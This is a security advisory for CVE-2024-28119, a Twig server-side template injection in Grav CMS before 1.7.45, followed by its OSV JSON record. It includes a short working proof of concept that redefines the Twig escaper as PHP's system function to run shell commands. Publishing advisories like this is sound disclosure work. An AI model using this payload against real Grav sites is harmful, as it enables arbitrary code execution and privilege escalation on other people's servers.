ghsa-2m7x-c7px-hp58
Vulnerability from github
Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.
Details
https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
php
/**
* Defines a new escaper to be used via the escape filter.
*
* @param string $strategy The strategy name that should be used as a strategy in the escape call
* @param callable $callable A valid PHP callable
*/
public function setEscaper($strategy, callable $callable)
{
$this->escapers[$strategy] = $callable;
}
Twig supports the functionality to redefine the escape function through the setEscaper method.
However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.
plaintext
{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}
At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.
PoC
{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}
Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28119"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T16:56:02Z",
"nvd_published_at": "2024-03-21T22:15:12Z",
"severity": "HIGH"
},
"details": "### Summary\nDue to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.\n\n### Details\nhttps://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99\n```php\n/**\n * Defines a new escaper to be used via the escape filter.\n *\n * @param string $strategy The strategy name that should be used as a strategy in the escape call\n * @param callable $callable A valid PHP callable\n */\n public function setEscaper($strategy, callable $callable)\n {\n $this-\u003eescapers[$strategy] = $callable;\n }\n ```\n Twig supports the functionality to redefine the escape function through the setEscaper method. \nHowever, that method is not originally exposed to the twig environment, but it is accessible through the payload below.\n\n```plaintext\n{{ grav.twig.twig.extensions.core.setEscaper(\u0027a\u0027,\u0027a\u0027) }}\n```\nAt this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.\n\n\n### PoC\n```\n{{ var_dump(grav.twig.twig.extensions.core.setEscaper(\u0027system\u0027,\u0027twig_array_filter\u0027)) }}\n{{ var_dump([\u0027id\u0027] | escape(\u0027system\u0027, \u0027system\u0027)) }}\n```\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.",
"id": "GHSA-2m7x-c7px-hp58",
"modified": "2025-01-03T16:07:19Z",
"published": "2024-03-22T16:56:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28119"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server Side Template Injection (SSTI) via Twig escape handler"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.